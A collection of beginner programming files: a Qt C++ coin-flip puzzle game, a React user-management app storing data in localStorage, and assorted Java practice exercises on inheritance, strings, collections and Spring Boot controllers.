if(coin->posX-1>=0) { coinBtn[coin->posX-1][coin->posY]->changeFlag(); this->gameArray[coin->posX-1][coin->posY] = !this->gameArray[coin->posX-1][coin->posY]; } if(coin->posY+1<=3) { coinBtn[coin->posX][coin->posY+1]->changeFlag(); this->gameArray[coin->posX][coin->posY+1] = !this->gameArray[coin->posX][coin->posY+1]; } if(coin->posY-1>=0) { coinBtn[coin->posX][coin->posY-1]->changeFlag(); this->gameArray[coin->posX][coin->posY-1] = !this->gameArray[coin->posX][coin->posY-1]; } for(int i=0; i<4; i++){ for(int j=0; j<4; j++){ this->coinBtn[i][j]->isWin = 0; } } this->isWin = true; for(int i=0; i<4; ++i){ for(int j=0; j<4; j++){ if(this->gameArray[i][j]==1) continue; else{ isWin = false; break; } } } // for(int i=0; i<4; ++i){ // for(int j=0; j<4; j++){ // std::cout << this->gameArray[i][j] << ' '; // } // std::cout << std::endl; // } // qDebug() << isWin << "-------"; if(isWin==false){ ; }else{ qDebug() << "Succeed"; for(int i=0; i<4; ++i){ for(int j=0; j<4; ++j){ coinBtn[i][j]->isWin = true; } } QTimer::singleShot(1000, this, [=](){ winSound->play(); QPropertyAnimation* animation = new QPropertyAnimation(winLabel, "geometry"); animation->setDuration(1000); animation->setStartValue(QRect(winLabel->x(), winLabel->y(), winLabel->width(), winLabel->height())); animation->setEndValue(QRect(winLabel->x(), winLabel->y()+114*2, winLabel->width(), winLabel->height())); animation->setEasingCurve(QEasingCurve::OutBounce); animation->start(); }); } }); }); } } }; void PlayScene::paintEvent(QPaintEvent* e){ QPainter painter(this); QPixmap pix; pix.load(":/res/PlayLevelSceneBg.png"); painter.drawPixmap(0, 0, this->width(), this->height(), pix); pix.load(":/res/Title.png"); painter.drawPixmap((this->width()-pix.width()*2)*0.5, 60, pix.width(), pix.height(), pix); }; <file_sep>//bug: //1.空格键未禁用。 #include "MainScene.h" #include <QApplication> #include <QDebug> #include "dataconfig.h" int main(int argc, char *argv[]) { QApplication a(argc, argv); MainScene w; w.show(); // dataConfig cfig; // for(int i=0; i<4; i++){ // for(int j=0; j<4; j++){ // qDebug() << cfig.mData[1][i][j]; // } // qDebug() << ""; // } return a.exec(); } <file_sep>#ifndef CHOOSELEVELSCENE_H #define CHOOSELEVELSCENE_H //#include <QWidget> #include <QMainWindow> #include "PlayScene.h" class ChooseLevelScene : public QMainWindow { Q_OBJECT public: explicit ChooseLevelScene(QMainWindow *parent = nullptr); void paintEvent(QPaintEvent* ); //MainScene* mainScene = NULL; // PlayScene* play = NULL; signals: //发送给主界面,点击返回 void chooseSceneBack(); }; #endif // CHOOSELEVELSCENE_H <file_sep>#include "ChooseLevelScene.h" #include <QIcon> #include <QMenuBar> #include <QMenu> #include <QPainter> #include "MyPushButton.h" #include <QTimer> #include <QLabel> #include <QDebug> #include <QSound> ChooseLevelScene::ChooseLevelScene(QMainWindow *parent) : QMainWindow(parent) //ChooseLevelScene::ChooseLevelScene(QWidget *parent) : QWidget(parent) { this->setFixedSize(320*2, 588*2); this->setWindowIcon(QIcon(":/res/Coin0001.png")); this->setWindowTitle("选择关卡"); QMenuBar* bar = menuBar(); //QMenuBar* bar = new QMenuBar; bar->setParent(this); QMenu* startMenu = bar->addMenu("开始"); QAction* quitAction = startMenu->addAction("退出"); connect(quitAction, &QAction::triggered, [=](){ this->close(); }); // sound selected QSound* chooseSound = new QSound(":/res/TapButtonSound.wav"); QSound* backSound = new QSound(":/res/BackButtonSound.wav"); MyPushButton* backBtn = new MyPushButton(":/res/BackButton.png", ":/res/BackButtonSelected.png"); //backBtn->resize(QSize(backBtn->width()*5, backBtn->height()*5)); backBtn->setParent(this); backBtn->move(this->width()-backBtn->width(), this->height()-backBtn->height()); //mainScene = new MainScene; connect(backBtn, &MyPushButton::clicked, [=](){ backSound->play(); //mainScene->show(); QTimer::singleShot(200, this, [=](){ emit this->chooseSceneBack(); this->hide(); }); }); // create the button choosing level for(int i=0; i<20; i++){ MyPushButton * menuBtn = new MyPushButton(":/res/LevelIcon.png"); menuBtn->setParent(this); menuBtn->move(i%4*140+50, i/4*140+260); connect(menuBtn, &MyPushButton::clicked, [=](){ chooseSound->play(); QString str = QString("level %1 selected").arg(i+1); qDebug() << str; this->hide(); play = new PlayScene(i+1); play->setGeometry(this->geometry()); play->show(); connect(play, &PlayScene::chooseSceneBack, [=](){ this->setGeometry(play->geometry()); play->hide(); this->show(); delete play; play = NULL; }); }); QLabel* label = new QLabel(this); label->setFixedSize(menuBtn->width(), menuBtn->height()); label->setText(QString::number(i+1)); label->move(i%4*140+50, i/4*140+260); label->setAlignment(Qt::AlignHCenter|Qt::AlignVCenter); //penetration label->setAttribute(Qt::WA_TransparentForMouseEvents); } } void ChooseLevelScene::paintEvent(QPaintEvent* e){ QPainter painter(this); QPixmap pix; pix.load(":/res/OtherSceneBg.png"); painter.drawPixmap(0, 0, this->width(), this->height(), pix); pix.load(":/res/Title.png"); painter.drawPixmap((this->width()-pix.width()*2)*0.5, 60, pix.width()*2, pix.height()*2, pix); }; <file_sep>#include "MainScene.h" #include "ui_MainScene.h" #include <QPushButton> #include <QAction> #include <QPainter> #include <MyPushButton.h> #include <QDebug> #include <QTimer> #include <QSound> MainScene::MainScene(QWidget *parent) : QMainWindow(parent) , ui(new Ui::MainScene) { ui->setupUi(this); setFixedSize(320*2, 588*2); setWindowIcon(QIcon(":/res/Coin0001.png")); setWindowTitle("Home"); //退出按钮 // connect(ui->actionexit, &QPushButton::clicked, [=](){ // this->close(); // }); connect(ui->actionexit, &QAction::triggered, [=](){ this->close(); }); QSound* startSound = new QSound(":/res/TapButtonSound.wav", this); MyPushButton* startBtn = new MyPushButton(":/res/MenuSceneStartButton.png"); startBtn->setParent(this); startBtn->move(this->width()/2 - startBtn->width()/2, this->height()*0.7); chooseScene = new ChooseLevelScene; connect(startBtn, &MyPushButton::clicked, [=](){ //qDebug()<<"clicked"; //media play startSound->play(); startBtn->zoom1(); startBtn->zoom2(); connect(chooseScene, &ChooseLevelScene::chooseSceneBack, this, [=](){ this->setGeometry(chooseScene->geometry()); chooseScene->hide(); this->show(); }); //延时 QTimer::singleShot(400, this, [=](){ //set the pos for new window; chooseScene->setGeometry(this->geometry()); chooseScene->show(); this->hide(); }); }); } void MainScene::paintEvent(QPaintEvent* e){ QPainter painter(this); QPixmap pix; pix.load(":/res/PlayLevelSceneBg.png"); painter.drawPixmap(0, 0, this->width(), this->height(), pix); //画图标(左上角) pix.load(":/res/Title.png"); //pix = pix.scaled(pix.width()*0.5, pix.height()*0.5); painter.drawPixmap(20, 60, pix); }; MainScene::~MainScene() { delete ui; }
da8894d107f38ace0dc9013709ee6d7fc619b6e1
[ "C++" ]
5
C++
hsuelok/CoinFlic_Qt_SC
aa820f9f8f042d492f6077c13a6b2044e3c5682d
de2c8b1d3e5a0ec7728b7206ee3e27e1ad245752
refs/heads/master
<repo_name>SuperheroMVP/react_js_user_manager<file_sep>/src/components/App.js import React, { Component } from 'react'; import './../App.css'; import Header from './Header'; import SearchForm from './SearchForm'; import DataTable from './DataTable'; import AddUser from './AddUser'; import DataUser from './data.json'; import { v4 as uuidv4 } from 'uuid'; class App extends Component { constructor(props) { super(props); this.state ={ VisibleForm:false, // data:DataUser, data:[], searchText:'', editUserStatus:false, userEditObject:{} } } // licycle chay componentWillMount dau tien componentWillMount(){ //kiem tra co localStorage hay chua? if(localStorage.getItem('userData')===null) { //DataUser dang là json kieu mang nen khi cho vao localStorage ep ve kieu dang mang //Một ứng dụng phổ biến của JSON là trao đổi dữ liệu đến / từ một máy chủ web. Khi gửi dữ liệu đến một máy chủ web, // dữ liệu phải là một chuỗi. Chuyển đổi một đối tượng JavaScript thành một chuỗi với JSON.stringify(). localStorage.setItem('userData',JSON.stringify(DataUser)); } else { //Sử dụng hàm JavaScript JSON.parse() để chuyển đổi văn bản thành một đối tượng JavaScript. //vd:var obj = JSON.parse('{ "name":"John", "age":30, "city":"New York"}'); var temp = JSON.parse(localStorage.getItem('userData')); // var temp = JSON.parse(localStorage.getItem('userData')); this.setState({ data:temp }); } } changeEditUserStatus =()=>{ this.setState({ editUserStatus:!this.state.editUserStatus }); } getNewUserData=(Name,Phone,Authorities)=>{ // console.log("ok ok do"); // console.log(Name); // console.log(Phone); // console.log(Authorities); var item = {};//bang mot doi tuong item.id = uuidv4(); item.Name = Name; item.Phone = Phone; item.Authorities = Authorities; var items = this.state.data; items.push(item); this.setState( { data:items } ); //console.log(this.state.data); //cap nhat lai du lieu trong localStorage localStorage.setItem('userData',JSON.stringify(items)); } getTextSearch =(dl)=>{ this.setState({ searchText:dl }); // console.log("lấy text thành công:"+dl) //console.log("lấy text thành công:"+searchText) } changeStatus =()=>{ this.setState({ VisibleForm: !this.state.VisibleForm }); } //chau thi click:editClick(), bo thi gui thong tin len editFunClick(), boss thi hien thi thong tin ra editUser = (user)=>{ //console.log("edit ket noi ok ok "); // console.log(user) this.setState({ userEditObject:user }); } getInfoEditUserApp =(info)=>{ //console.log("thong tin da sua xong"+info.id); this.state.data.forEach((value,key)=>{ if(value.id === info.id) { value.Name = info.Name; value.Phone = info.Phone; value.Authorities = info.Authorities; } }) //cap nhat lai du lieu trong localStorage localStorage.setItem('userData',JSON.stringify(this.state.data)); } deleteUser =(idUser)=>{// truyen xuong tableData var tempData = this.state.data.filter(item =>item.id !==idUser);//phan tu thoa man item ma cai id khac voi idUser this.setState( {data:tempData} ); //cap nhat lai du lieu trong localStorage localStorage.setItem('userData',JSON.stringify(tempData)); // this.state.data.forEach((value,key)=>{ // if(value.id === idUser) // { // console.log("Name:"+value.Name); // } // }) } render() { //localStorage: luu tru tam thoi, ban chon clear cookie hoac bat f12 bang tay thi dl se bien mat. // localStorage.setItem("key1","hihih"); // console.log(localStorage.getItem("key1")); // localStorage.removeItem("key1"); //console.log(this.state.data); //value cua no o dang text nen phai doi sang string //localStorage.setItem("userData",JSON.stringify(DataUser));// hoac viet:localStorage.setItem("userData",this.state.data) // in ra toan object nen dung JSON.stringify():doi mang doi tuong sang chuoi var ketqua =[]; //Moi phan tu duyet se la 1 item this.state.data.forEach((item)=>{ if(item.Name.indexOf(this.state.searchText) !== -1)//tuc la co { ketqua.push(item); } }) //console.log(ketqua) return ( <div className="App"> <Header/> <div className="container"> <div className="row"> <SearchForm checkConnectProps={(dl)=>this.getTextSearch(dl)} changeButton ={()=>this.changeStatus()} VisibleForm ={this.state.VisibleForm} // truyen bien xem co hien thị form hay khong ,mac dinh bang false editUserStatus ={this.state.editUserStatus} // truyen ham de xem co hien thi form edit hay khong? changeEditUserStatus ={()=>this.changeEditUserStatus()} //truyen object sang form. userEditObject={this.state.userEditObject} // ham nhan thong tin can sua tu SearchForm getInfoEditUserApp = {(info)=>this.getInfoEditUserApp(info)} /> {/* <DataTable dataUserProps ={this.state.data}/> */} <DataTable dataUserProps ={ketqua} editFun ={(user)=>this.editUser(user)} // truyen bien xem co hien thị form hay khong ,mac dinh bang false editUserStatus ={this.state.editUserStatus} // truyen ham de xem co hien thi form edit hay khong? changeEditUserStatus ={()=>this.changeEditUserStatus()} deleteUser ={(idUser)=>this.deleteUser(idUser)} /> <AddUser VisibleForm ={this.state.VisibleForm} AddUser ={(Name,Phone,Authorities)=>this.getNewUserData(Name,Phone,Authorities)} /> </div> </div> </div> ); } } export default App;<file_sep>/src/components/SearchForm.js import React, { Component } from 'react'; import EditUser from './EditUser'; class SearchForm extends Component { constructor(props) { super(props); this.state={ temValue:'', userObj:{} } } isChange =(event)=>{ // console.log(event.target.value) this.setState( { temValue:event.target.value } ); this.props.checkConnectProps(this.state.temValue); } visibleButton =()=>{ if(this.props.VisibleForm===true) { // return <div className="btn btn-block btn-warning" onClick={this.props.changeButton}>Đóng Lại</div> return <div className="btn btn-block btn-warning" onClick={()=>this.props.changeButton()}>Đóng Lại</div> } else{ return <div className="btn btn-block btn-primary" onClick={()=>this.props.changeButton()}>Thêm Mới</div> } } getInfoEditUser =(info)=>{ this.setState( { userObj:info } ); this.props.getInfoEditUserApp(info); } isShowEditForm =()=>{ if(this.props.editUserStatus === true) { // co props.changeEditUserStatus tu App.js // co object thi lai truyen tiep sang edit user return <EditUser changeEditUserStatus ={()=>this.props.changeEditUserStatus()} userEditObject={this.props.userEditObject} getInfoEditUser ={(info)=>this.getInfoEditUser(info)} /> } } render() { return ( <div className="col-lg-12"> <div className="row mb-5"> {this.isShowEditForm()} </div> <div className="search-form d-flex justify-content-end"> {/* <form action="" method="get"> */} <div className="form-group"> <div className="btn-group"> <input type="text" onChange={(event)=>this.isChange(event)} placeholder="Nhập tên cần tìm kiếm." style={{width: '300px'}} /> {/* <button className="btn btn-primary" onClick={this.props.checkConnectProps()}>Tìm Kiếm</button> */} <div className="btn btn-primary" onClick={(dl)=>this.props.checkConnectProps(this.state.temValue)}>Tìm Kiếm</div> </div> </div> {/* </form> */} </div> <div> {this.visibleButton()} </div> <hr /> </div> ); } } export default SearchForm;<file_sep>/src/components/DataTableRow.js import React, { Component } from 'react'; class DataTableRow extends Component { permissionShow =() => { if(this.props.Authorities===1){return "Admin"} else if(this.props.Authorities===2){return "Moderater"} else {return "Normal"} } editClick =()=>{ this.props.editFunClick(); this.props.changeEditUserStatus(); } deleteButtonClick =(idUser)=>{ // nhan duoc deleteButtonClick() tu DataTable this.props.deleteButtonClick(idUser); } render() { //co this.props.editFunClick return ( <tr> <td>{this.props.id}</td> <td>{this.props.userName}</td> <td>{this.props.Phone}</td> <td>{this.permissionShow()}</td> <td><div onClick={()=>this.editClick()} className="btn btn-primary">Edit</div></td> <td><div onClick={(idUser)=>this.deleteButtonClick(this.props.id)} className="btn btn-danger">Delete</div></td> </tr> ); } } export default DataTableRow;<file_sep>/src/components/AddUser.js import React, { Component } from 'react'; class AddUser extends Component { constructor(props) { super(props); this.state = ({ id: "", Name: "", Phone: "", Authorities: "" }) } isChange = (event) => { const name = event.target.name; const value = event.target.value; this.setState({ [name]: value }); // console.log(name); // console.log(value); //dong goi du lieu // var item = {};//bang mot doi tuong // item.id = this.state.id; // item.Name = this.state.Name; // item.Phone = this.state.Phone; // item.Authorities = this.state.Authorities; // console.log(item); } checkStatus = () => { if (this.props.VisibleForm === true) { return ( <div className="col"> <form> <div className="card mt-3"> <h4 className="card-title text-center">Thêm User</h4> <div className="card-body"> <div className="form-group"> <label>Nhập tên</label> <input type="text" className="form-control" name="Name" onChange={(event) => this.isChange(event)} aria-describedby="helpId" placeholder="Nhập tên" /> </div> <div className="form-group"> <label>Số điện thoại</label> <input type="text" className="form-control" name="Phone" onChange={(event) => this.isChange(event)} aria-describedby="helpId" placeholder="Nhập số điện thoại" /> </div> <div className="form-group"> <label>Quyền</label> <select className="form-control" name="Authorities" onChange={(event) => this.isChange(event)}> <option value={1}>Admin</option> <option value={2}>Modrator</option> <option value={3}>Normal</option> </select> </div> <div className="form-group"> <button type="reset" onClick={(Name, Phone, Authorities) => this.props.AddUser(this.state.Name, this.state.Phone, this.state.Authorities)} className="btn btn-primary">Thêm User</button> </div> </div> </div> </form> </div> ) } } render() { /// console.log(this.props.VisibleForm) //console.log(this.state); return ( <div> {this.checkStatus()} </div> ); } } export default AddUser;<file_sep>/src/components/DataTable.js import React, { Component } from 'react'; import DataTableRow from './DataTableRow'; class DataTable extends Component { deleteButtonClick =(idUser)=>{ this.props.deleteUser(idUser); } mappingDataUser =()=>{ return( this.props.dataUserProps.map((value,key)=>( <DataTableRow changeEditUserStatus={()=>this.props.changeEditUserStatus()} editFunClick ={(user)=>this.props.editFun(value)} //lay duoc gia tri cua datatablerow roi tuyen len App deleteButtonClick ={(idUser)=>this.deleteButtonClick(idUser)}//truyen sang TableDataRow key={key} id={value.id} userName={value.Name} Phone={value.Phone} Authorities={value.Authorities}/> )) ) } // da co this.props.editFun tu phia App.js render() { // console.log(this.props.dataUserProps); return ( <div className="col"> <table className="table table-striped table-inverse table-hover "> <thead className="thead-inverse"> <tr> <th>STT</th> <th>Ten</th> <th>Điện Thoại</th> <th>Quyền</th> <th>Sửa</th> <th>Xóa</th> </tr> </thead> <tbody> {this.mappingDataUser()} </tbody> </table> </div> ); } } export default DataTable;<file_sep>/src/components/EditUser.js import React, { Component } from 'react'; //nhan duoc props.userEditObject class EditUser extends Component { constructor(props) { super(props); this.state=({ id:this.props.userEditObject.id, Name:this.props.userEditObject.Name, Phone:this.props.userEditObject.Phone, Authorities:this.props.userEditObject.Authorities }) } isChanges = (event) =>{ const name =event.target.name; const value = event.target.value; this.setState({ [name]:value }); } //nhan duoc this.props.getInfoEditUser() tu SearchForm saveButton =()=>{ var info ={}; info.id = this.state.id; info.Name= this.state.Name; info.Phone = this.state.Phone; info.Authorities = this.state.Authorities; this.props.getInfoEditUser(info);// truyen len SearchForm this.props.changeEditUserStatus();//an form } render() { // console.log(this.state); return ( <div className="col-12"> <form> <div className="card mt-3"> <h4 className="card-title text-center">Edit User</h4> <div className="card-body"> <div className="form-group"> <label>Nhập tên</label> <input defaultValue={this.props.userEditObject.Name} type="text" className="form-control" name="Name" onChange={(event) => this.isChanges(event)} aria-describedby="helpId" placeholder="Nhập tên" /> </div> <div className="form-group"> <label>Số điện thoại</label> <input defaultValue={this.props.userEditObject.Phone} type="text" className="form-control" name="Phone" onChange={(event) => this.isChanges(event)} aria-describedby="helpId" placeholder="Nhập số điện thoại" /> </div> <div className="form-group"> <label>Quyền</label> <select defaultValue={this.props.userEditObject.Authorities} className="custom-select" name="Authorities" onChange={(event) => this.isChanges(event)}> <option value={1}>Admin</option> <option value={2}>Modrator</option> <option value={3}>Normal</option> </select> </div> <div className="form-group"> <button type="button" onClick={()=>this.saveButton()} className="btn btn-primary">Edit User</button> </div> </div> </div> </form> </div> ); } } export default EditUser;
3460420e180cfb59048543146ebf1d52cf5eb8e8
[ "JavaScript" ]
6
JavaScript
SuperheroMVP/react_js_user_manager
e74e1e19f6e5f256314375edf7d9d37eb1deac58
2ff67c1099bb2ad527e885a7c050ad218ded0134
refs/heads/master
<file_sep>#Program:Pythag import math#no-ti from math import sqrt #no-ti # The commas will split the print statement on the calculator. print "This is the", "Pythagoras", "Theorem" a=float(raw_input("Type a =")) b=float(raw_input("Type b =")) c=sqrt((a*a)+(b*b)) print "c =",c <file_sep>#Program:GUESS #A small guessing game. import random #no-ti print "Guess the number" print "from 0 to 100" g = int(raw_input("")) a = random.randint(0,100) while (g != a): if (g>a): print "Too high." else: print "Too low." g=int(raw_input("Guess:")) print "Right!"
02334433b0fd297eec4ea97926dd440e574997eb
[ "Python" ]
2
Python
eliLitwack/PyCalc-TI
20a23bf077cd15ea3a20e9489754f5d03c856c37
aa168d32c3bbf5a836180fca7fc86ca637821ea1
refs/heads/main
<file_sep>package inheritanceDemo; public class Main { public static void main(String[] args) { BaseCreditManager[] baseCreditManager = new BaseCreditManager[] {new AgricultureCreditManager(), new TeacherCreditManager(), new CredirUI()}; for (BaseCreditManager d: baseCreditManager ) { System.out.println( d.logger(5)); } } } <file_sep>package mod3Week1HW3; public class Cuboid extends Rectangle{ public double height; Cuboid(double width, double length, double height) { super(width, length); if(height<0) { this.height=0; }else { this.height=height; } } public double getHeight() { return this.height; } public double getVolume() { return this.getArea()*this.height; } } <file_sep>package business.abstracts; public interface UserAuthorizationService { boolean validation(String email); } <file_sep> public class Student extends User { private String nameOfClass; public String getNameOfClass() { return nameOfClass; } public void setNameOfClass(String nameOfClass) { this.nameOfClass = nameOfClass; } } <file_sep>package com.springboot.application.controller; import java.util.*; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; import com.springboot.application.model.*; import com.springboot.application.service.UserService; @RestController public class UserController { @Autowired private UserService userService; @RequestMapping("/hy") public List<UserRecord> getAllUser() { System.out.println(userService.getAllUsers()); //test return userService.getAllUsers(); } @RequestMapping(value="/add-user", method=RequestMethod.POST) public void addUser(@RequestBody UserRecord userRecord) { userService.addUser(userRecord); } } <file_sep>package com.BookFinderApplication; import java.util.List; import org.springframework.data.jpa.repository.JpaRepository; import org.springframework.data.repository.CrudRepository; import org.springframework.stereotype.Repository; @Repository public interface BookFinderRepository extends JpaRepository<BookFinderRecords, Long> { List<BookFinderRecords>findByUsername(String username); } <file_sep>package coffeeShop; public class StarbucksCustomerManager extends CustomerManager{ ICustomerCheckService customerCheckService; public StarbucksCustomerManager(ICustomerCheckService customerCheckService) { // TODO Auto-generated constructor stub this.customerCheckService = customerCheckService; } @Override public void save(Customer customer) { if(this.customerCheckService.CheckIfRealPerson(customer)) { super.save(customer); }else { System.out.println("Not valid Person"); } }; } <file_sep>package exercise; public class Main { public static void main(String[] args) { CarsCategory car = new CarsCategory(); CarsCategory car1 = new CarsCategory(2020, "Honda", "Accord", 20000.00); CarsCategory car2 = new CarsCategory(2021, "Toyota", "Camry", 23000.00); CarsCategory car3 = new CarsCategory(2019, "BMW", "M3", 21000.00); CarsCategory[] dealer = { car1, car2, car3 }; for (CarsCategory carList : dealer) { System.out.println( carList.year + " " + carList.make + " " + carList.model + " "+"$"+ carList.price); } System.out.println("======================================="); Cities titleOfCapitols = new Cities(); Cities europe = new Cities("Paris", "France", 49393993, 02342); Cities europe1 = new Cities("Ankara", "Turkey", 5939399, 12343); Cities northAmerica = new Cities("Boston", "USA", 4989292, 02112); Cities[] capitols = { europe, europe1, northAmerica }; for (Cities listOfCapitols : capitols) { System.out.println(listOfCapitols.city + " - " + listOfCapitols.country + " - " + listOfCapitols.population + " - " + listOfCapitols.zipCode); } System.out.println("======================================="); StockMarket stockmarket = new StockMarket(); StockMarket stock = new StockMarket("Apple", 133); StockMarket stock1 = new StockMarket("Tesla", 703); StockMarket[] stockList = { stock,stock1 }; for (StockMarket portfolio : stockList) { System.out.println(portfolio.name + " "+"$"+portfolio.price); } stockmarket.buy(stock); //methods stockmarket.sell(stock1); stockmarket.sell(stock); } } <file_sep>package abstractClass; public class KidsPlayerCalculator extends BaseCalculator { @Override public void calculate() { // TODO Auto-generated method stub } } <file_sep>package exercise; public class StockMarket { public StockMarket() { System.out.println("Stocks"); } public StockMarket(String name, double price) { this.name=name; this.price=price; } String name; double price; public void buy(StockMarket stockList) { System.out.println("Buy "+stockList.name); } public void sell(StockMarket stockList) { System.out.println("Sell "+stockList.name); } } <file_sep>package gameCompany; import java.time.LocalDate; public class Customer { int id; String firstName; String lastName; String nationalityNumber; int dateOfBirth; public Customer() { } public Customer(int id, String firstName, String lastName, String nationalityNumber, int dateOfBirth) { super(); this.id = id; this.firstName = firstName; this.lastName = lastName; this.nationalityNumber = nationalityNumber; this.dateOfBirth = dateOfBirth; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getFirstName() { return firstName; } public void setFirstName(String firstName) { this.firstName = firstName; } public String getLastName() { return lastName; } public void setLastName(String lastName) { this.lastName = lastName; } public String getNationalityNumber() { return nationalityNumber; } public void setNationalityNumber(String nationalityNumber) { this.nationalityNumber = nationalityNumber; } public int getDateOfBirth() { return dateOfBirth; } public void setDateOfBirth(int dateOfBirth) { this.dateOfBirth = dateOfBirth; } } <file_sep>package coffeeShop; public abstract class CustomerManager implements ICustmorService { @Override public void save(Customer customer) { System.out.println("Save to db :" + customer.getFirstName()+" "+customer.getLastName()); }; } <file_sep>package javaSe; public class javaSe { public static void main(String[] args) { // class exercise int x=(int)(Math.random()*(10-1)+1); // how to get random between two num (max-min)-min System.out.println(x); switch(x) { case 1: System.out.println("Monday"); break; case 2: System.out.println("Tuesday"); break; case 3: System.out.println("Wednesday"); break; case 4: System.out.println("Thursday"); break; case 5: System.out.println("Friday"); break; case 6: System.out.println("Saturday"); break; case 7: System.out.println("Sunday"); break; default: System.out.println("invalid Num"); } } } <file_sep>package com.homeworkmod3.model; import com.fasterxml.jackson.annotation.JsonIgnoreProperties; import lombok.AllArgsConstructor; import lombok.Data; import lombok.NoArgsConstructor; import lombok.*; @JsonIgnoreProperties @NoArgsConstructor @AllArgsConstructor @Getter @Setter @ToString public class Movies { private int movie_id; private String title; private String director; private int year; private String genre; } <file_sep>package methods; public class ArithmeticalOperation { //*****************Method overloading // public int sum (int num1, int num2) { // return num1+num2; // } public int sum (int num1, int num2,int num3) { return num1+num2+num3; } } <file_sep>package gameCompany; public interface ICampaignService { void beginNewCampaign(Campaign campaign); void endCampaign(Campaign campaign); } <file_sep>package strtingExcercise; public class StringExercise { public static void main(String[] args) { //************************************************ String message = " Hello World "; System.out.println(message); System.out.println( "length " +message.length()); System.out.println("Char at "+message.charAt(4)); System.out.println("Concate " + message.concat(" Serkan")); System.out.println(message.startsWith("h")); // caseSensetive System.out.println(message.endsWith("d")); char [] chars = new char[5]; message.getChars(0, 5, chars,0); System.out.println(chars); System.out.println(message.indexOf("orl")); // it will return first match and returns System.out.println(message.lastIndexOf("d")); //**************************************************************** System.out.println(message.replace(' ','/')); System.out.println(message.substring(0,6)); for(String newWords: message.split("")) { System.out.println(newWords); } System.out.println(message.toUpperCase()); System.out.println(message.trim()); //**************************************************************** char letter='B'; switch (letter) { case'A': case'E': case'I': case'O': System.out.println("vowel"); break; default: System.out.println("constant"); } //**************************************************************** int number =21 ; int total = 0; for (int i=1; i<number;i++) { if(number % i == 0) { total = total +i; } }if (total == number) { System.out.println("it is a perfect num"); }else { System.out.println("it is not a perfect num"); } //**************************************************************** //220 -284 int num1 = 220; int num2 = 284; int sum = 0; int sum1 = 0; for(int i =1 ;i<num1 ; i++) { if(num1 % i ==0 ) { sum = sum +i; } } for(int i =1 ;i<num2 ; i++) { if(num2 % i ==0 ) { sum1= sum1 +i; } } if(num1== sum1 && num2 == sum ) { System.out.println("friends num"); }else { System.out.println("not friends"); } //**************************************************************** int [] numbers = new int [] {1,2,3,4,5,7,9,10}; int find =11; boolean isThere= false; for (int numb : numbers ) { if(numb ==find) { isThere = true; break; } } if(isThere) { System.out.println("there is num"); }else { System.out.println("there is not"); } //*********************Methods************************************* add(); delete(); update(); } public static void add() { System.out.println("added"); } public static String delete() { return "deleted"; } public static void update() { System.out.println("updated"); } //**************************************************************** } <file_sep>package homework; import java.util.*; public class Week1HW2 { // Write a Java program to copy one array list into another public static void main(String[] args) { ArrayList<String> cars = new ArrayList<String>(); cars.add("Toyota"); cars.add("Honda"); cars.add("BMW"); cars.add("Mercedes"); System.out.println("Before copied automobile to cars " + cars); ArrayList<String> automobile =new ArrayList<String> (); automobile.add("Nissan"); automobile.add("Fiat"); Collections.copy(cars, automobile); // copying automobile arrayList to the cars array list System.out.println("After copied automobile to cars " + cars); //Write a Java program to extract a portion of a array list ArrayList<String> tree = new ArrayList<String>(); tree.add("oak"); tree.add("blossem"); tree.add("rose"); System.out.println("Before extraction " + tree); tree.subList(0, 2);//index from beginning and ending List<String> newTree =tree.subList(0, 2); // create a List with new variable and call tree variable with subList System.out.println("Before extraction " + newTree); // Write a Java program of swap two elements in an array list ArrayList<Integer> number = new ArrayList<Integer>(); number.add(1); number.add(2); number.add(6); number.add(10); number.add(3); System.out.println("Before swaping "+number); Collections.swap(number, 2, 4); //added index number System.out.println("After swaping "+number); // Write a Java program to test an array list is empty or not ArrayList<String> words = new ArrayList<String>(); Boolean check = words.isEmpty(); //checks if arrayList empty or not= returns boolean System.out.println(check); // Write a Java program to replace the second element of a ArrayList with the specified element. ArrayList<String> books = new ArrayList<String>(); books.add("justice"); books.add("little prince"); System.out.println("before replacing elements "+ books); String book1 = "Value migration"; books.set(1, book1); // replaced little prince with value migration System.out.println("after replacing elements "+ books); // Write a Java program to trim the capacity of an array list the current list size ArrayList<String> phones = new ArrayList<String>(); phones.add("Iphone3"); phones.add("Galaxy"); phones.add("Iphone7"); phones.add("Iphone2"); phones.add("Galaxy7"); System.out.println("Before the triming " +phones); phones.trimToSize(); System.out.println("After the triming " +phones); // Write a Java program to test a hash set is empty or not. HashSet<String> drinks = new HashSet<String>(); drinks.add("coke"); drinks.add("water"); drinks.add("orange juice"); System.out.println("HashSet elemets " + drinks); Boolean hashSetCheck = drinks.isEmpty(); System.out.println("Check if HashSet is empty or not return boolean => " + hashSetCheck); // Write a Java program to get the number of elements in a hash set HashSet<String> colors = new HashSet<String>(); colors.add("blue"); colors.add("black"); colors.add("yellow"); int numberOfHashSet = colors.size(); System.out.println("number of HashSet elemnt => " + numberOfHashSet); // Write a Java program to iterate through all elements in a hash list. HashSet<String> electronics = new HashSet<String>(); electronics.add("TV"); electronics.add("Phone"); electronics.add("Fridge"); electronics.add("Vacuum"); Iterator<String> ElectronicsIteration =electronics.iterator(); while(ElectronicsIteration.hasNext()) { // System.out.println(ElectronicsIteration.next()); } // Write a Java program to convert a hash set to an array. HashSet<String> numbers83 = new HashSet<String>(); numbers83.add("one"); numbers83.add("two"); numbers83.add("four"); numbers83.add("ten"); System.out.println("HashSet " + numbers83); ArrayList<String> arr = new ArrayList<String>(numbers83); System.out.println("Converted from HashSet to ArrayList " + numbers83); // Write a Java program to compare two sets and retain elements which are same on both sets. HashSet<String> days = new HashSet<String>(); // first hasSet days.add("Monday"); days.add("Tueday"); days.add("Friday"); days.add("Sunday"); System.out.println( "First HashSet " + days); HashSet<String> days1 = new HashSet<String>(); // second hasSet days1.add("Tuesday"); days1.add("Saturday"); days1.add("Monday"); days.retainAll(days1); // compare HashSet System.out.println("Compare HashSet " + days); } } <file_sep>package collections; import java.util.ArrayList; import java.util.LinkedList; import java.util.*; public class Collections { public static void main(String[] args) { // HashSet<String> cars = new HashSet<String>(); // // cars.add("honda"); // sorts are very good for searching data // cars.add("bamw"); // cars.add("aa"); // // System.out.println(cars); // System.out.println(cars.contains("ata")); // HashMap<Integer, String> hm = new HashMap<Integer, String>(); //Integer is key, String is the value // // hm.put(0, "Rav4"); // hm.put(1, "Camry"); // hm.put(1, "Toyota"); // if you give same key to each element. it will over write over first one and print second one. // // // // System.out.println(hm); // 